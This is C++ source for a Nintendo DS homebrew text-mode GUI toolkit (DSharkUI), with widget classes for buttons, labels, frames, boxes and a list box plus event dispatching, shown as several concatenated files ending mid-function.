		memcpy(st,title,strlen(title));
		st[strlen(title)]='\0';
	}	
	Print(screen,x+s,y,st);	

}


void DSharkUI::DrawRect2(int screen,int x, int y, int w, int h)
{
	int i;

	if(x<0 || y<0 || (x+w)>31 || (y+h)>23) return;
	for(i=x+1;i<(x+w);i++) { DrawChr(screen,i,y,0xCD); DrawChr(screen,i,y+h,0xCD); }
	for(i=y+1;i<(y+h);i++) { DrawChr(screen,x,i,0xBA); DrawChr(screen,x+w,i,0xBA); }
	DrawChr(screen,x,y,0xC9);DrawChr(screen,x,y+h,0xC8);DrawChr(screen,x+w,y,0xBB);DrawChr(screen,x+w,y+h,0xBC);
}

void DSharkUI::WaitVbl()
{
 		while(VCOUNT>192);
		while(VCOUNT<192);
}   

void DSharkUI::Cls(int screen)
{
	int i;
	for(i=0;i<24*32;i++)
		GetScreen(screen)[0x07C00+i]=0x20;
}


DSharkUI *DSharkUI::getInstance()
{
	/* Initialize the screens */
	if (m_self == NULL)
		DSharkUI();
	return m_self;
};

void DSharkUI::RegisterCtrl(UIControl *ctrl)
{
   /* add the control to the list of controls */
   m_ctrls.push_back(ctrl);
}

void DSharkUI::RenderControls()
{
   int i;   
	for(i=0;i<(int)m_ctrls.size();i++)
      m_ctrls[i]->OnDraw();
}

void DSharkUI::DispatchKeyEvent(int event)
{
	for(int i=0;i<(int)m_ctrls.size();i++)
  	   if (m_ctrls[i]->IsVisible())
			m_ctrls[i]->OnEvent(event,NULL);
}

void DSharkUI::DispatchEvent(int event, touchPosition *pos)
{
   int i;   
   
	for(i=0;i<(int)m_ctrls.size();i++)
		m_ctrls[i]->OnEvent(event, pos);
}	
   

void DSharkUI::Main()
{
   touchPosition stylus;
   
 	while(1)
	{
	   /* Clear bottom screen */
		WaitVbl();
		Cls(0);
		Cls(1);
		
		DispatchEvent(UI_EVT_TICK,NULL);
		
		/* keyboard management */
		if (keysDown()&KEY_L)
			Swap();
		if (keysDown()&ALL_KEYS)
			DispatchEvent(UI_EVT_KEYPRESS,NULL);
			
		/* Stylus management */	
		scanKeys();
		getStylus(&stylus);		
		if (keysDown()&KEY_TOUCH)
			DispatchEvent(UI_EVT_PRESS, &stylus);
		else if (keysHeld()&KEY_TOUCH)
			DispatchEvent(UI_EVT_HOLD,&stylus);
		else
			DispatchEvent(UI_EVT_REL, &stylus);					
		TrackStylusLeave();
			
		/* control management */	
		RenderControls();
	}			
}

void DSharkUI::TrackStylusLeave()
{
   touchPosition stylus;
   int i;   
   
   getStylus(&stylus);
   for(i=0;i<(int)m_ctrls.size();i++)
		m_ctrls[i]->OnEvent(UI_EVT_OUT,&stylus);
}   

void DSharkUI::getStylus(touchPosition *stylus)
{
	*stylus = touchReadXY();
}

int DSharkUI::getKeysDown()
{
   return keysDown();
}

u16* DSharkUI::GetScreen(int screen)
{
	if (screen==0)
		return VRAM2;
	else
		return VRAM1;
}

void DSharkUI::Swap()
{
	int i;
	
	for(i=0;i<(int)m_ctrls.size();i++)
		m_ctrls[i]->SwapScreen();
}

DSharkUI *DSharkUI::m_self=0;
vector<UIControl *> DSharkUI::m_ctrls;










arm9/source/gui/base/gui.h


#ifndef __INC_DSHARK_UI_H
#define __INC_DSHARK_UI_H

#include <nds.h>
#include <cstdlib>
#include <vector>

#include "ui_ctrl.h"
#include "ui_frame.h"
#include "ui_btn.h"
#include "ui_list.h"
#include "ui_lbl.h"
#include "ui_box.h"

#define SCREEN_SUB 0
#define SCREEN_MAIN 1

#include "hzv.h"


using namespace std;

/* UI Event code */
#define UI_EVT_PRESS	0x01
#define UI_EVT_REL	0x02
#define UI_EVT_OUT   0x03
#define UI_EVT_HOLD	0x04
#define UI_EVT_KEYPRESS 0x05
#define UI_EVT_TICK 0x06

/******************************
*** DSharkUI : singleton
******************************/

class DSharkUI
{
	public:
	   
	   /* self-getter */
		static DSharkUI *getInstance();
		
		/* Low-level drawing routines */
		void WaitVbl();
		void Cls(int screen);
		void Print(int screen, int x, int y, const char * str);
		void DrawChr(int screen, int x, int y, int c);
		void DrawRect(int screen, int x, int y, int w, int h);
		void DrawRect2(int screen, int x, int y, int w, int h);
		void DrawTitledRect(int screen, int x, int y, int w, int h, char *title);
		void ClearZone(int screen, int x, int y, int w, int h);
				
		/* control management */
		void RegisterCtrl(UIControl *ctrl);

		/* control rendering */
		void getStylus(touchPosition *pos);
		void RenderControls();			
		void TrackStylusLeave();
		void DispatchEvent(int event, touchPosition *pos);
		void DispatchKeyEvent(int event);
		int getKeysDown();

		/* main gfx */
		void Main();
		u16* GetScreen(int screen);
		void Swap();
		
	private:
	   
	   /* private constructor */
		DSharkUI();
		
		/* screen swapping */
		int m_swap;
		
		/* self-reference */
		static DSharkUI   *m_self;
		
		/**************************
		* UI objects management
		**************************/
		static vector<UIControl *> m_ctrls;
};

#endif










arm9/source/gui/base/ui_box.cpp


#include "gui.h"
#include "ui_box.h"

UIBox::UIBox(int screen, int x,int y, int w, int h,int id) : UIControl(screen, x,y,w,h,id)
{
	AddListener(this);
}

void UIBox::OnDraw()
{
   int i;
   touchPosition stylus;
   
 	DSharkUI *ui = DSharkUI::getInstance();

	if (IsVisible())
	{	   
	   /* Render a rectangle */
	   ui->ClearZone(m_screen, m_x,m_y,m_w,m_h);
	   ui->DrawRect(m_screen, m_x,m_y,m_w,m_h);
	   
	   /* Render child controls */
	   for (i=0;i<(int)m_childs.size();i++)
	   	m_childs[i]->OnDraw();
	   	
		/* Check if user has clicked a child control */
		ui->getStylus(&stylus);
		for (i=0;i<(int)m_childs.size();i++)
			if (!m_childs[i]->IsStylusOver(&stylus))
				m_childs[i]->OnEvent(UI_EVT_OUT,&stylus);   		

	   /* Notify the listeners */
	   for (i=0; i<(int)m_evts.size();i++)
		  	m_evts[i]->OnRender(m_id);
	}	
}

void UIBox::OnEvent(int event, touchPosition *pos)
{
   int i;
   touchPosition stylus;
     
   switch(event)
   {
    case UI_EVT_TICK:
		{
			/* notify listeners */
			for (i=0; i<(int)m_evts.size();i++)
				m_evts[i]->OnTick();		   
		
			/* forward to childs */
			for (i=0; i<(int)m_childs.size();i++)
				m_childs[i]->OnEvent(UI_EVT_TICK,NULL);		   
		}
		break;
		
      case UI_EVT_HOLD:
			{
				if (IsStylusOver(pos))
				{
			   /* Notify listeners */
	 			for (i=0;i<(int)m_evts.size();i++)
	 				m_evts[i]->OnHeld(m_id);
				/* Forward to childs */
				for (i=0;i<(int)m_childs.size();i++)
					if(m_childs[i]->IsVisible())
						m_childs[i]->OnEvent(UI_EVT_HOLD,pos);   					   
				}
			}
			break; 		
 		case UI_EVT_KEYPRESS:
			{
		   		/* Is it our accelerator ? */
		   		if(HAS_ACCEL && GOT_ACCEL)
	 			{
	 			   /* Notify listeners */
	 			   for (i=0;i<(int)m_evts.size();i++)
	 			   	m_evts[i]->OnClick(m_id);
				}
				else
				{
					/* Forward to childs */
					for (i=0;i<(int)m_childs.size();i++)
						m_childs[i]->OnEvent(UI_EVT_KEYPRESS,NULL);
				}			
			}			
			break;
			
      case UI_EVT_PRESS:
		{
			/* Check if user has clicked a child control */
			for (i=0;i<(int)m_childs.size();i++)
				m_childs[i]->OnEvent(UI_EVT_PRESS,pos);
		}
		break;
					
		case UI_EVT_REL:
			/* Check if user has clicked a child control */
			for (i=0;i<(int)m_childs.size();i++)
				if (m_childs[i]->IsStylusOver(&stylus))
					m_childs[i]->OnEvent(UI_EVT_REL,NULL);   		   
		default:
		   break;      
	} 
}

void UIBox::AddButton(int x, int y, int w, int h, int id, char *txt)
{
   UIButton *btn = new UIButton(m_screen, x+m_x+1,y+m_y+1,w,h,id,txt);
   m_childs.push_back((UIControl *)btn);
}

void UIBox::AddLabel(int x, int y, int w, int h, int id, char *txt)
{
   UILabel *btn = new UILabel(m_screen, x+m_x+1,y+m_y+1,w,h,id,txt);
   m_childs.push_back((UIControl *)btn);
}


void UIBox::AddSubFrame(int x, int y, int w, int h, int id, char *txt)
{
   UIFrame *btn = new UIFrame(m_screen, x+m_x+1,y+m_y+1,w,h,id,txt);
   m_childs.push_back((UIControl *)btn);
}



/******************************************************************************
* NAME: IsStylusOver
* DESC: Check if stylus is over the control
* ARGS: pos: stylus position
* RET.: 1 if over 0 otherwise
******************************************************************************/

int UIBox::IsStylusOver(touchPosition *pos)
{
   int i;
   
   for(i=0;i<(int)m_childs.size();i++)
	if ((m_screen==SCREEN_SUB)&&((pos->px>=(m_childs[i]->GetX()*8) && pos->px<=((m_childs[i]->GetX()+m_childs[i]->GetW())*8)) && (pos->py>=m_childs[i]->GetY()*8 && pos->py<=((m_childs[i]->GetY()+m_childs[i]->GetH())*8))))
		return 1;
   return 0;
}

//vector<UIControl *> UIFrame::m_childs;










arm9/source/gui/base/ui_box.h


#ifndef __INC_DSHARK_UI_BOX_H
#define __INC_DSHARK_UI_BOX_H

#include "ui_ctrl.h"
#include <vector>

using namespace std;

class UIBox : public UIControl, public EventListener
{
	public:
	   
	   /* Constructor */
		UIBox(int screen, int x,int y, int w, int h, int id);
		int IsStylusOver(touchPosition *pos);		
		
		/* Render */
		void OnEvent(int event, touchPosition *pos);
		virtual void OnDraw();

	
		/* Control management */
		void AddButton(int x, int y, int w, int h, int id,char *txt);
		void AddLabel(int x, int y, int w, int h, int id,char *txt);
		void AddSubFrame(int x, int y, int w, int h, int id,char *txt);
};

#endif










arm9/source/gui/base/ui_btn.cpp


#include "gui.h"
#include "ui_btn.h"

#include <cstdlib>

/******************************************************************************
***						UIButton class
******************************************************************************/

/******************************************************************************
* NAME: UIButton
* DESC: UIButton constructor
* ARGS: x,y,w,h: control position
*		  str: button text
******************************************************************************/

UIButton::UIButton(int screen, int x, int y, int w, int h, int id, char *str) : UIControl(screen, x,y,w,h,id)
{
	m_pressed = 0;
    m_str = new char [strlen(str)+1];
	memcpy(m_str, str, strlen(str));
	m_str[strlen(str)]='\0';
	AddListener(this);
}


/******************************************************************************
* NAME: SetText
* DESC: Set button text
* ARGS: txt: new text
******************************************************************************/

void UIButton::SetText(char *txt)
{
   if (m_str != NULL)
   	free(m_str);
   m_str = strdup(txt);
}


/******************************************************************************
* NAME: GetText()
* DESC: retrieve button text
* RET.: button text
******************************************************************************/

char *UIButton::GetText()
{
   return m_str;
}


/******************************************************************************
* NAME: Getstate
* DESC: Get button state
* RET.: button status
******************************************************************************/

int UIButton::GetState()
{
   return m_state;
}


/******************************************************************************
* NAME: SetState
* DESC: Set button state
* ARGS: state: button state
******************************************************************************/

void UIButton::SetState(int state)
{
   m_state = state;
}



/******************************************************************************
* NAME: OnPress
* DESC: OnPress event
******************************************************************************/

void UIButton::OnPress(int id)
{
	m_pressed = 1;
}


/******************************************************************************
* NAME: OnLeave
* DESC: OnLeave event
******************************************************************************/

void UIButton::OnLeave(int id)
{
   m_pressed = 0;
}


/******************************************************************************
* NAME: OnRender
* DESC: OnRender event
******************************************************************************/

void UIButton::OnRender(int id)
{
   int i;
 	DSharkUI *ui = DSharkUI::getInstance();
	   
   /* Render a rectangle */
   ui->ClearZone(m_screen,m_x,m_y,m_w,m_h);
   m_pressed==0?ui->DrawRect(m_screen, m_x,m_y,m_w,m_h):ui->DrawRect2(m_screen,m_x,m_y,m_w,m_h);
   
   /* Draw and center text */
	i = m_x+(m_w - strlen(m_str))/2;
	ui->Print(m_screen, i,m_y+(m_h/2),m_str);
}











arm9/source/gui/base/ui_btn.h


#ifndef __INC_DSHARK_UI_BTN_H
#define __INC_DSHARK_UI_BTN_H

#include "ui_ctrl.h"

class UIButton : public UIControl, EventListener
{
	public:
	   
	   /* Constructor */
		UIButton(int screen, int x, int y, int w, int h, int id, char *str);
			
		/* text */
		void SetText(char *txt);
		char *GetText();
		int GetState();
		void SetState(int state);

		/* Events handlers */
		void OnRender(int id);
		void OnPress(int id);
		void OnLeave(int id);
		
	private:
	   int m_pressed;
		char *m_str;
};

#endif /* __INC_DSHARK_UI_BTN_H */










arm9/source/gui/base/ui_ctrl.cpp


#include "gui.h"
#include "ui_ctrl.h"

/******************************************************************************
*** 									MAIN CONTROL CLASS
******************************************************************************/

/******************************************************************************
* NAME: UIControl
* DESC: Control main class
* ARGS: x,y,w,h: control position
* RET.: Nothing
******************************************************************************/

UIControl::UIControl(int screen, int x, int y, int w, int h, int id)
{
	m_x = x;
	m_y = y;
	m_w = w;
	m_h = h; 

	m_screen = screen; /* bottom screen by default */
	
	m_id = id;
	
	m_visible = 1; /* visible */
	m_state = 0; /* unpressed */

	m_evts.clear();
	m_childs.clear();
	
	m_accel = 0;
}


/******************************************************************************
* NAME: ~UIControl
* DESC: Control main class destructor
******************************************************************************/

UIControl::~UIControl()
{
}


/******************************************************************************
* NAME: OnRender
* DESC: control main render routine
******************************************************************************/

void UIControl::OnDraw()
{
   int i;
 	DSharkUI *ui = DSharkUI::getInstance();

	if (IsVisible())
	{	   
	   /* Render a rectangle */
	   ui->DrawRect(m_screen,m_x,m_y,m_w,m_h);
	
		/* Render childs */
		for(i=0;(int)m_childs.size();i++)
			if (m_childs[i]->IsVisible())
				m_childs[i]->OnDraw();
	   
	   /* Notify the listeners */
	   for (i=0; i<(int)m_evts.size();i++)
		  	m_evts[i]->OnRender(m_id);
	}	
}


/******************************************************************************
* NAME: IsStylusOver
* DESC: Check if stylus is over the control
* ARGS: pos: stylus position
* RET.: 1 if over 0 otherwise
******************************************************************************/

int UIControl::IsStylusOver(touchPosition *pos)
{
   return (m_screen==SCREEN_SUB)&&((pos->px>=(m_x*8) && pos->px<=((m_x+m_w)*8)) && (pos->py>=m_y*8 && pos->py<=((m_y+m_h)*8)));
}


/******************************************************************************
* NAME: OnEvent
* DESC: Control main event dispatcher
* ARGS: event: event code
******************************************************************************/

void UIControl::OnEvent(int event, touchPosition *pos)
{
   int i;

	if (!IsVisible())
		return;

   switch(event)
   {
    
    case UI_EVT_TICK:
		{
			/* notify listeners */
			for (i=0; i<(int)m_evts.size();i++)
				m_evts[i]->OnTick();		   
		
			/* forward to childs */
			for (i=0; i<(int)m_childs.size();i++)
				m_childs[i]->OnEvent(UI_EVT_TICK,NULL);		   
		}
		break;
   
	case UI_EVT_HOLD:
		   {
			if (IsStylusOver(pos) && (m_screen==SCREEN_SUB))
			{
				/* Notify listeners */
				for (i=0; i<(int)m_evts.size();i++)
					m_evts[i]->OnHeld(m_id);		   
			}
			}
			break;			      
      
    case UI_EVT_KEYPRESS:
        {
			/* Is it the accelerator ? */
			if(HAS_ACCEL && GOT_ACCEL)
			{
	         	/* Notify listeners */
				for (i=0; i<(int)m_evts.size();i++)
					m_evts[i]->OnClick(m_id);
			}			
      	}   
      	break;

      case UI_EVT_PRESS:
		if (IsStylusOver(pos) && (m_screen==SCREEN_SUB))
		{
			if ((m_state==0) && (m_evts.size()>0))
			{
				/* Notify listeners */
				for (i=0; i<(int)m_evts.size();i++)
					m_evts[i]->OnPress(m_id);
			}   
			m_state = 1;
		}
        break;
 		
		case UI_EVT_OUT:        
			{
				if (!IsStylusOver(pos) && (m_screen==SCREEN_SUB))
				{
					/* Notify listeners */
					for (i=0; i<(int)m_evts.size();i++)
						m_evts[i]->OnLeave(m_id);	
				}
			}
			
			
      case UI_EVT_REL:
		if (m_screen==SCREEN_SUB)
		{
			if ((m_state == 1) && (m_evts.size()>0))
			{
				/* Notify listeners */
				for (i=0; i<(int)m_evts.size();i++)
					m_evts[i]->OnClick(m_id);	
			}   
			m_state = 0;
		}
		break;
	}      
}


/******************************************************************************
* NAME: IsVisible
* DESC: Determines if a control is visible
* RET.: 1 if visible, 0 otherwise
******************************************************************************/

int UIControl::IsVisible()
{
   return m_visible;
}


/******************************************************************************
* NAME: SetVisible
* DESC: Set control visibility
* ARGS: v: visibility setting (1:visible, 0:hidden)
******************************************************************************/

void UIControl::SetVisible(int v)
{
   int i;

	m_state = 0;
   m_visible = v;

   for(i=0;i<(int)m_childs.size();i++)
   	m_childs[i]->SetVisible(v);
}


/******************************************************************************
* NAME: GetX
* DESC: Control X Position
* RET.: X Position
******************************************************************************/

int UIControl::GetX()
{
   return m_x;
}


/******************************************************************************
* NAME: GetY
* DESC: Control Y Position
* RET.: Y Position
******************************************************************************/

int UIControl::GetY()
{
   return m_y;
}


/******************************************************************************
* NAME: GetW
* DESC: Control Width
* RET.: Width
******************************************************************************/

int UIControl::GetW()
{
   return m_w;
}


/******************************************************************************
* NAME: GetH
* DESC: Control Height
* RET.: Height
******************************************************************************/

int UIControl::GetH()
{
   return m_h;
}


/******************************************************************************
* NAME: SetPos
* DESC: Set Control position
* ARGS: x,y,w,h: control position
******************************************************************************/

void UIControl::SetPos(int x, int y, int w, int h)
{
   if (x>=0 && x<32)
   	m_x = x;
   if (y>=0 && y<24)
   	m_y = y;
   if (w>=0 && w<32)
   	m_w = w;
   if (h>=0 && h<24)
   	m_h = h;
}

void UIControl::SwapScreen()
{
	int i;
	
	if (m_screen==SCREEN_SUB)
		m_screen=SCREEN_MAIN;
	else
		m_screen=SCREEN_SUB;
		
	for(i=0;i<(int)m_childs.size();i++)
		m_childs[i]->SwapScreen();
}

/******************************************************************************
* NAME: AddListener
* DESC: Add an event listener
* ARGS: listener: the event listener to add
******************************************************************************/

void UIControl::AddListener(EventListener *listener)
{
   m_evts.push_back(listener);
}

/******************************************************************************
* NAME: SetAccelerator
* DESC: Sets an accelerator
* ARGS: acc: accelerator flags
******************************************************************************/

void UIControl::SetAccelerator(uint32 acc)
{
   m_accel = 0x8000 | acc;
}

int UIControl::GetAccelerator()
{
   return m_accel;
}

void UIControl::Close()
{
   int i;
	for (i=0;i<(int)m_evts.size();i++)
		m_evts[i]->OnClose(m_id);
}

void UIControl::AddControl(UIControl *ctrl)
{
  m_childs.push_back(ctrl);   
}


/******************************
*** EventListener
******************************/

/******************************************************************************
* NAME: EventListener
* DESC: EventListener constructor
******************************************************************************/

EventListener::EventListener()
{
}


/******************************************************************************
* NAME: ~EventListener
* DESC: EventListener destructor
******************************************************************************/

EventListener::~EventListener()
{
}


/******************************************************************************
* NAME: OnClick
* DESC: OnClick event handler
******************************************************************************/

void EventListener::OnClick(int id)
{
}


/******************************************************************************
* NAME: OnStylusOver
* DESC: OnStylusOver event handler
******************************************************************************/

void EventListener::OnStylusOver(int id)
{
}


/******************************************************************************
* NAME: OnRender
* DESC: OnRender event handler
******************************************************************************/

void EventListener::OnRender(int id)
{
}


/******************************************************************************
* NAME: OnPress
* DESC: OnPress event handler
******************************************************************************/

void EventListener::OnPress(int id)
{
}


/******************************************************************************
* NAME: OnLeave
* DESC: OnLeave event handler
******************************************************************************/

void EventListener::OnLeave(int id)
{
}


void EventListener::OnKeyPress(int id)
{
}

void EventListener::OnHeld(int id)
{
}

void EventListener::OnClose(int id)
{
}

void EventListener::OnTick()
{
}









arm9/source/gui/base/ui_ctrl.h


#ifndef __INC_DSHARK_UI_CTRL_H
#define __INC_DSHARK_UI_CTRL_H

#include <nds.h>
#include <cstdlib>
#include <vector>


#define HAS_ACCEL (m_accel&0x8000)
#define GOT_ACCEL ((keysDown()&(m_accel&0x0FFF))==(m_accel&0x0FFF))


using namespace std;



class EventListener;

class UIControl
{
	public:
	   
	   /* constructor */
		UIControl(int screen, int x, int y, int w, int h, int id);
		virtual ~UIControl();
		
		/* Input related routines */
		int IsStylusOver(touchPosition *pos);
		
		/* Pos related */
		void SetPos(int x, int y, int w, int h);

		void SwapScreen();
		
		/*********************************************/
		/*** 					 Events 						****/
		/*********************************************/
		
		/* OnRender : generated when UI needs to draw the control */
		virtual void OnDraw();
		
		/* OnPress : generated when user press with stylus */
		virtual void OnEvent(int event, touchPosition *pos);
		
		/* visibility */
		int IsVisible();
		virtual void SetVisible(int v);
		void SetAccelerator(uint32 accel);
		int GetAccelerator();
		void Close();

		/* Position */
		int GetX();
		int GetY();
		int GetW();
		int GetH();

		/* EventListener management */
		void AddListener(EventListener *listener);

		/* Child */
		void AddControl(UIControl *ctl);

	protected:

		int	m_x,m_y,m_h,m_w,m_id;
		int	m_screen;
		int	m_visible;
		int	m_state;

		/* Accelerators */
		uint32	m_accel;
			   
		/* Event management */
		vector <EventListener *> m_evts; 

		/* childs */
		vector<UIControl *>	m_childs;

};  

class EventListener
{
public:
   /* Many events */
	EventListener();
   virtual ~EventListener();
   
   virtual void OnTick();
   virtual void OnPress(int id);
   virtual void OnLeave(int id);
	virtual void OnStylusOver(int id);
   virtual void OnClick(int id);
   virtual void OnRender(int id);
	virtual void OnHeld(int id);
   virtual void OnKeyPress(int id);
   virtual void OnClose(int id);

protected:
   
   UIControl *m_parent;
};

#endif










arm9/source/gui/base/ui_frame.cpp


#include "gui.h"
#include "ui_frame.h"

UIFrame::UIFrame(int screen, int x,int y, int w, int h,int id, char *str) : UIControl(screen, x,y,w,h,id)
{
	AddListener(this);
	
	m_name = strdup(str);
}

void UIFrame::OnDraw()
{
   int i;
   touchPosition stylus;
   
 	DSharkUI *ui = DSharkUI::getInstance();

	if (IsVisible())
	{	   
	   /* Render a rectangle */
	   ui->ClearZone(m_screen, m_x,m_y,m_w,m_h);
	   ui->DrawTitledRect(m_screen, m_x,m_y,m_w,m_h, m_name);
	   
	   /* Render child controls */
	   for (i=0;i<(int)m_childs.size();i++)
	   	m_childs[i]->OnDraw();
	   	
		/* Check if user has clicked a child control */
		ui->getStylus(&stylus);
		for (i=0;i<(int)m_childs.size();i++)
			if (!m_childs[i]->IsStylusOver(&stylus))
				m_childs[i]->OnEvent(UI_EVT_OUT,&stylus);   		

	   /* Notify the listeners */
	   for (i=0; i<(int)m_evts.size();i++)
		  	m_evts[i]->OnRender(m_id);
	}	
}

void UIFrame::OnEvent(int event, touchPosition *pos)
{
   int i;
	DSharkUI *ui = DSharkUI::getInstance();
   touchPosition stylus;
     
   switch(event)
   {
    case UI_EVT_TICK:
		{
			/* notify listeners */
			for (i=0; i<(int)m_evts.size();i++)
				m_evts[i]->OnTick();		   
		
			/* forward to childs */
			for (i=0; i<(int)m_childs.size();i++)
				m_childs[i]->OnEvent(UI_EVT_TICK,NULL);		   
		}
		break;
		
      case UI_EVT_HOLD:
			{
				if (IsStylusOver(pos))
				{
			   /* Notify listeners */
	 			for (i=0;i<(int)m_evts.size();i++)
	 				m_evts[i]->OnHeld(m_id);
				/* Forward to childs */
				for (i=0;i<(int)m_childs.size();i++)
					if(m_childs[i]->IsVisible())
						m_childs[i]->OnEvent(UI_EVT_HOLD,pos);   					   
				}
			}
			break; 		
 		case UI_EVT_KEYPRESS:
			{
		   		/* Is it our accelerator ? */
		   		if(HAS_ACCEL && GOT_ACCEL)
	 			{
	 			   /* Notify listeners */
	 			   for (i=0;i<(int)m_evts.size();i++)
	 			   	m_evts[i]->OnClick(m_id);
				}
				else
				{
					/* Forward to childs */
					for (i=0;i<(int)m_childs.size();i++)
						m_childs[i]->OnEvent(UI_EVT_KEYPRESS,NULL);
				}			
			}			
			break;
			
      case UI_EVT_PRESS:
		{
			/* Check if user has clicked a child control */
			for (i=0;i<(int)m_childs.size();i++)
				m_childs[i]->OnEvent(UI_EVT_PRESS,pos);
		}
		break;
					
		case UI_EVT_REL:
			/* Check if user has clicked a child control */
			for (i=0;i<(int)m_childs.size();i++)
				if (m_childs[i]->IsStylusOver(&stylus))
					m_childs[i]->OnEvent(UI_EVT_REL,NULL);   		   
		default:
		   break;      
	} 
}

void UIFrame::AddButton(int x, int y, int w, int h, int id, char *txt)
{
   UIButton *btn = new UIButton(m_screen, x+m_x+1,y+m_y+1,w,h,id,txt);
   m_childs.push_back((UIControl *)btn);
}

void UIFrame::AddLabel(int x, int y, int w, int h, int id, char *txt)
{
   UILabel *btn = new UILabel(m_screen, x+m_x+1,y+m_y+1,w,h,id,txt);
   m_childs.push_back((UIControl *)btn);
}


void UIFrame::AddSubFrame(int x, int y, int w, int h, int id, char *txt)
{
   UIFrame *btn = new UIFrame(m_screen, x+m_x+1,y+m_y+1,w,h,id,txt);
   m_childs.push_back((UIControl *)btn);
}


void UIFrame::SetText(char *txt)
{
   if(m_name != NULL)
   	free(m_name);
   m_name = strdup(txt);
}

/******************************************************************************
* NAME: IsStylusOver
* DESC: Check if stylus is over the control
* ARGS: pos: stylus position
* RET.: 1 if over 0 otherwise
******************************************************************************/

int UIFrame::IsStylusOver(touchPosition *pos)
{
   int i;
   
   for(i=0;i<(int)m_childs.size();i++)
	if ((m_screen==SCREEN_SUB)&&((pos->px>=(m_childs[i]->GetX()*8) && pos->px<=((m_childs[i]->GetX()+m_childs[i]->GetW())*8)) && (pos->py>=m_childs[i]->GetY()*8 && pos->py<=((m_childs[i]->GetY()+m_childs[i]->GetH())*8))))
		return 1;
   return 0;
}

//vector<UIControl *> UIFrame::m_childs;










arm9/source/gui/base/ui_frame.h


#ifndef __INC_DSHARK_UI_FRAME_H
#define __INC_DSHARK_UI_FRAME_H

#include "ui_ctrl.h"
#include <vector>

using namespace std;

class UIFrame : public UIControl, public EventListener
{
	public:
	   
	   /* Constructor */
		UIFrame(int screen, int x,int y, int w, int h, int id, char *str);
		int IsStylusOver(touchPosition *pos);		
		
		/* Render */
		void OnEvent(int event, touchPosition *pos);
		virtual void OnDraw();

	
		/* Control management */
		void AddButton(int x, int y, int w, int h, int id,char *txt);
		void AddLabel(int x, int y, int w, int h, int id,char *txt);
		void AddSubFrame(int x, int y, int w, int h, int id,char *txt);
		//void AddControl(UIControl *ctrl);

		void SetText(char *txt);

	protected:
	   
		char*						m_name;
};

#endif










arm9/source/gui/base/ui_lbl.cpp


#include "gui.h"
#include "ui_lbl.h"

#include <cstdlib>

/******************************************************************************
***						UILabel class
******************************************************************************/

/******************************************************************************
* NAME: UILabel
* DESC: UILabel constructor
* ARGS: x,y,w,h: control position
*		  str: label text
******************************************************************************/

UILabel::UILabel(int screen, int x, int y, int w, int h, int id, char *str) : UIControl(screen, x,y,w,h,id)
{
   m_str = strdup(str);
}


/******************************************************************************
* NAME: SetText
* DESC: Set label text
* ARGS: txt: new text
******************************************************************************/

void UILabel::SetText(char *txt)
{
   if (m_str != NULL)
   	free(m_str);
   m_str = new char [strlen(txt)];
   memcpy(m_str,txt,strlen(txt)+1);
}


/******************************************************************************
* NAME: GetText()
* DESC: retrieve label text
* RET.: label text
******************************************************************************/

char *UILabel::GetText()
{
   return m_str;
}

void UILabel::OnDraw()
{
	char b = '\0';
	  
   /* troncate string if necessary */
   if ((int)strlen(m_str)>m_w)
   {
      b = m_str[m_w-1];
      m_str[m_w-1]='\0';
	}   
   DSharkUI::getInstance()->Print(m_screen,m_x,m_y,m_str);
   if (b!=0)
   	m_str[m_w-1]=b;
}










arm9/source/gui/base/ui_lbl.h


#ifndef __INC_DSHARK_UI_LABEL_H
#define __INC_DSHARK_UI_LABEL_H

#include "ui_ctrl.h"

class UILabel : public UIControl
{
	public:
	   
	   /* Constructor */
		UILabel(int screen,int x, int y, int w, int h, int id, char *str);
			
		/* text */
		void SetText(char *txt);
		char *GetText();

		/* Events handlers */
		void OnDraw();
		
	private:
		char *m_str;
};


#endif










arm9/source/gui/base/ui_list.cpp


#include <nds.h>

#include "ui_list.h"
#include "gui.h"

void UIListBox::OnPress(int id)
{
   touchPosition stylus;
   int i,e;
   DSharkUI::getInstance()->getStylus(&stylus);

   	if (((int)m_items.size()-m_scroller_pos)<m_h)
		e = (int)m_items.size()-m_scroller_pos;
	else
		e = m_h - 1;

	m_last_y = stylus.py;
	if ((stylus.py/8)>m_y && (stylus.py/8)<(m_y+m_h))
	{
		/* compute the selected item */
		m_selected = (stylus.py/8 - m_y + m_scroller_pos);
		
		if (m_selected>=m_scroller_pos && m_selected<(e+m_scroller_pos+1))
		{
			/* Notify the listeners */
			for (i=0;i<(int)m_evts.size();i++)
				m_evts[i]->OnClick(m_id);
		}
		else
			m_selected=-1;
	}

}

void UIListBox::OnHeld(int id)
{
   touchPosition stylus;
   DSharkUI::getInstance()->getStylus(&stylus);
	if ((m_last_y!=stylus.py) && ((stylus.py/8)>m_y && (stylus.py/8)<(m_y+m_h)))
	{
		if(m_last_y>(stylus.py+1))
			ScrollUp();
		if(m_last_y<(stylus.py-1))
			ScrollDown();
		m_last_y = stylus.py;
	}
}

UIListBox::UIListBox(int screen, int x, int y, int w, int h, int id) : UIControl(screen, x,y,w,h,id)
{
	AddListener(this);
	
   m_items.clear();

	m_last_x = 0;
	m_last_y = 0;
	m_start = 0;
	m_selected = -1;
	m_scroller_pos = 0;
}

UIListBox::~UIListBox()
{
}

void UIListBox::AddItem(int idx, char *txt)
{
}

void UIListBox::AppendItem(char *txt)
{
   int slen = (int)strlen(txt);
   char disp[m_w-2];
   
	/* check the string */
	memcpy(disp,txt,m_w-2);
	if (slen>m_w-2)
		disp[m_w-3] = '\0';

   m_items.push_back(strdup(disp));
}

void UIListBox::Reset()
{
   int i;
   
   for (i=0;i<(int)m_items.size();i++)
   	if(m_items[i]!=NULL)
			free(m_items[i]);
   m_items.clear();
}

void UIListBox::RemoveItem(int idx)
{
}

void UIListBox::OnDraw()
{
   int i,e,s;
 	DSharkUI *ui = DSharkUI::getInstance();
		   
   /* Render the listbox */
   ui->DrawRect(m_screen,m_x,m_y,m_w,m_h);

	/* Draw the scroller */
	if ((int)m_items.size()>0)
		s = (int)(((float)((float)m_scroller_pos/(int)m_items.size()))*(m_h-1));
	else
		s = 0;
   for (i=m_y+1;i<(m_y+m_h);i++)
   	ui->DrawChr(m_screen,m_x+m_w,i,186);
   ui->DrawChr(m_screen,m_x+m_w,s+m_y+1,254);

	/* Draw the items */
	if (((int)m_items.size()-m_scroller_pos)<m_h)
		e = (int)m_items.size()-m_scroller_pos;
	else
		e = m_h - 1;
   for (i=0;i<e;i++)
   	ui->Print(m_screen,m_x+2,m_y+1+i,m_items[i+m_scroller_pos]);
	
	/* Draw the selection mark */
	if (m_selected>=m_scroller_pos && m_selected<(e+m_scroller_pos+1))
	{
